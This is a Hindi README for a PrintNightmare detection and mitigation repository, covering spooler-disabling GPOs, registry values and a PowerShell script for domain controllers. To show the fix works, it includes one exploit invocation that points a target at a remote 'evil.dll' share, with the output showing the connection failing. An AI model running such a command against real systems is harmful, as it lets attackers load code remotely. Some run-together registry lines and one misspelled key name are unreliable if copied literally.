
CVE-2021-1675 पता लगाने की जानकारी
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
इस रिपॉजिटरी में CVE-2021-1675 और CVE-2021-34527 हमले का एक EVTX नमूना है, साथ ही एक न्यूनतम Sysmon कॉन्फ़िगरेशन फ़ाइल भी है जिसका उपयोग प्रासंगिक टेलीमेट्री उत्पन्न करने के लिए किया जा सकता है।
कृपया ध्यान दें कि इन नियमों को दरकिनार किया जा सकता है - कृपया उचित रूप से पैच करें और डोमेन नियंत्रकों पर प्रिंटर स्पूलर सेवा को अक्षम करें।
कृपया उत्पादन में रोलआउट करने से पहले सभी अनुशंसित सुधारों का परीक्षण करें, क्योंकि इन सुदृढ़ीकरण परिवर्तनों के परिणामस्वरूप अनपेक्षित परिणाम हो सकते हैं। हमने इस रिपॉजिटरी की सामग्री और पाई गई जानकारी की व्याख्या करते हुए एक ब्लॉग पोस्ट लिखा है। यहाँ: https://labs.lares.com/detection-and-mitigation-printnightmare/
Benjamin Delpy का धन्यवाद, इस मुद्दे की शोषण क्षमता पर एक अद्यतन प्रवाह चार्ट है, यह निर्धारित करने के लिए कि क्या आपके सिस्टम संभावित रूप से असुरक्षित हैं।

Security Settings -> System Services -> Print Spooler -> Disable
HKLM\SYSTEM\CurrentControlSet\Services\Spooler\Start = 4Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections - > Disable
HKLM\Software\Policies\Microsoft\Windows NT\Printers\RegisterSpoolerRemoteRpcEndPoint = 2Printers -> Point and Print Restrictions -> Security Prompts -> When installing drivers for a new connection -> Show warning and elevation prompt
HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint = 0HKLM\SOFTWARE\Microsoft\Windows\CurrrentVersion\Policies\System\EnableLUA = 1माइक्रोसॉफ्ट द्वारा जून 2021 में जारी किया गया पैच CVE-2021-1675 को पैच करता है, लेकिन दुर्भाग्य से यह PrintNightmare (CVE-2021-34527) के रूप में जानी जाने वाली समस्या को ठीक नहीं करता है, इसलिए प्रिंटर स्पूलर सेवा को अक्षम करके एक समाधान लागू किया जा सकता है। यहाँ GPO और PowerShell दोनों पर ऐसा करने का तरीका बताया गया है। यह पुष्टि की गई है कि GPO MS-RPRN RpcAddPrinterDriverEx फ़ंक्शन और Win32 AddPrinterDriverEx फ़ंक्शन दोनों को ठीक करता है, जिसका SharpPrintNightmare उपयोग करता है।
निम्नलिखित GPO को स्पूलर के लिए क्लाइंट कनेक्शन को अस्वीकार करने के लिए सेट किया जा सकता है, जो एक संभावित समाधान है जहां स्पूलर सेवा को पूरी तरह से अक्षम करना एक विकल्प नहीं हो सकता है। इसका प्रयोगशाला वातावरण में डोमेन नियंत्रकों और एंडपॉइंट्स (W7/W10) के खिलाफ परीक्षण किया गया है और उपयोगकर्ता अभी भी प्रिंटर जोड़/हटा सकते हैं और प्रिंट कर सकते हैं, हालांकि यह एक्सप्लॉइट को काम करने से रोकता है। नोट: यह भी समझा जाता है कि यह GPO CVE-2021-34527 को भी ठीक करता है जैसा कि Microsoft के भेद्यता पृष्ठ पर उल्लेख किया गया है।
Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections
इसे Disabled पर सेट करें:

फिर प्रभावित होस्ट पर स्पूलर सेवा को पुनरारंभ करें। सब ठीक रहने पर, एक्सप्लॉइट तक पहुंच से वंचित कर दिया जाएगा:
./CVE-2021-1675.py lares.labs/[email protected] '\\certer.lares.labs\share\evil.dll' 1 ⨯
Password:
[*] Try 1...
[*] Connecting to ncacn_np:192.168.1.157[\PIPE\spoolss]
[-] Connection Failed
एक अन्य सुधार/समाधान प्री-विंडोज 2000 संगत पहुंच से प्रमाणित उपयोगकर्ताओं को हटाना है, जैसा कि Dirk-jan द्वारा खोजा गया।

सुनिश्चित करें कि "Authenticated Users" समूह "Pre-Windows 2000 Compatible Access group" के सदस्य नहीं हैं। (डिफ़ॉल्ट रूप से, ये समूह वर्तमान विंडोज़ संस्करणों में शामिल नहीं हैं।) जैसा कि नीचे स्क्रीनशॉट में दिखाया गया है, कोई सदस्य नहीं होना चाहिए:

यदि ऐसा करने के तरीके के बारे में संदेह है, तो निम्नलिखित चरणों का पालन किया जा सकता है:
डोमेन से सभी DC को खींचने के लिए ADDomainController का उपयोग करने के लिए 0gtweet का स्क्रिप्ट अनुकूलित किया गया
# the script STOP and DISABLES Print Spooler service (aka #PrintNightmare) on each server from the list below IF ONLY DEFAULT PRINTERS EXIST.
# revert if you need: go to services.msc, find the "print spooler" service, change startup type to "automatic" and start the service.
# Source: https://github.com/gtworek/PSBits/blob/master/Misc/StopAndDisableDefaultSpoolers.ps1
#
# Requirements RSAT
# Get-Module -Name ActiveDirectory
# Import-Module -Name ActiveDirectory
$computers = Get-ADDomainController -filter * | %{ $_.name }
foreach ($computer in $computers)
{
Write-Host "Processing $computer ..."
$service = Get-Service -ComputerName $computer -Name Spooler -ErrorAction SilentlyContinue
if (!$service)
{
Write-Host "Cannot connect to Spooler Service on $computer. Skipping." -ForegroundColor Yellow
continue
}
if ($service.Status -ne "Running")
{
Write-Host ("Service status is: """ + $service.Status + """. Skipping.") -ForegroundColor Yellow
continue
}
$printers = (Get-WmiObject -class Win32_printer -ComputerName $computer)
if (!$printers)
{
Write-Host "Cannot enumerate printers. Skipping." -ForegroundColor Yellow
continue
}
$disableSpooler = $true
foreach ($DriverName in ($printers.DriverName))
{
if (($DriverName -notmatch 'Microsoft XPS Document Writer') -and ($DriverName -notmatch 'Microsoft Print To PDF'))
{
Write-Host " Printer found: $DriverName" -ForegroundColor Green
$disableSpooler = $false
}
}
if ($disableSpooler)
{
Write-Host "Only default printers found. Stopping and disabling spooler..." -ForegroundColor DarkCyan
(Get-Service -ComputerName $computer -Name Spooler) | Stop-Service -Verbose
Set-Service -ComputerName $computer -Name Spooler -StartupType Disabled -Verbose
}
else
{
Write-Host "Non-default printers found. Skipping." -ForegroundColor Green
}
}
दिया गया Sysmon कॉन्फ़िगरेशन CVE-2021-1675.xml फ़ाइल Sysmon Config Pusher के साथ स्थापित की जा सकती है: https://github.com/LaresLLC/SysmonConfigPusher